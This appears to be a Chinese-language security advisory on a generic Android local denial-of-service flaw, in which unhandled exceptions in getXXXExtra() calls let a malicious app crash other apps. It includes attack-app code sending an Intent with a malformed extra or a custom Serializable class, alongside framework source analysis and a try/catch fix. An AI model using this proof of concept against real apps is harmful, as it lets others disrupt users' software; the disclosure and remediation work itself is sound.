超级拒绝服务漏洞是一个安卓通用型拒绝服务漏洞,恶意攻击者可能利用此漏洞让手机中的任意应用崩溃无法正常工作,几乎影响目前市面上所有的安卓APP应用。

  漏洞分析:

  0xr0otXbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。

  针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。

  漏洞应用代码片段:

  Intent i = getIntent();

  if(i.getAction().equals("serializable_action")){

  i.getSerializableExtra("serializable_key"); //未做异常判断

  }

  攻击应用代码片段:

  Intent i = new Intent();

  i.setAction("serializable_action");

  i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");

  i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据

  startActivity(i);

  比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException

  但后来交流中发现,当传入一个自定义的序列化对象SerializablegetParcelable对象时,接收Intent的目标组件在getSerializableExtra()getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为,当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。

  自定义的序列化类很简单:

  public class DataSchema implements Serializable {

  private static final long serialVersionUID = -3601187837704976264L;

  public DataSchema() {

  super();

  }

  }

  对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。

  随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。

  测试app代码片段:

  protected void onCreate(Bundle savedInstanceState) {

  Intent intent = getIntent();

  intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash

  }

  接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。

  /frameworks/base/core/java/android/content/Intent.java

  public String getStringExtra(String name) {

  return mExtras == null ? null : mExtras.getString(name);

  }

  /frameworks/base/core/java/android/os/Bundle.java

  public String getString(String key) {

  unparcel(); //处理数据

  ...

  }

  /* package */ synchronized void unparcel() {

  ...

  mParcelledData.readMapInternal(mMap, N, mClassLoader);

  ...

  }

  /frameworks/base/core/java/android/os/Parcel.java

  readMapInternal解析传递进来的数据

  /* package */ void readMapInternal(Map outVal, int N,

  ClassLoader loader) {

  while (N > 0) {

  Object key = readValue(loader);

  Object value = readValue(loader);

  outVal.put(key, value);

  N--;

  }

  }

  最后当解析到Serializable对象时,由于加载不到类,抛出异常

  public final Serializable readSerializable() {

  ...

  try {

  ObjectInputStream ois = new ObjectInputStream(bais);

  return (Serializable) ois.readObject();

  } catch (IOException ioe) {

  throw new RuntimeException("Parcelable encountered " +

  "IOException reading a Serializable object (name = " + name +

  ")", ioe);

  } catch (ClassNotFoundException cnfe) {

  throw new RuntimeException("Parcelable encountered" +

  "ClassNotFoundException reading a Serializable object (name = "

  + name + ")", cnfe);

  }

  }

  但是回头想想,谷歌肯定不是认为这是android的漏洞,开发者只要加个try catch 捕获异常就可以了。

  漏洞检测:

  爱内测开发了一个自动化的检测工具,开发者可以进行漏洞检测。检测工具:http://www.ineice.com/

  漏洞修复:

  不管是get什么extra,只要是getXXXExtra(),加上try catch捕获异常即可。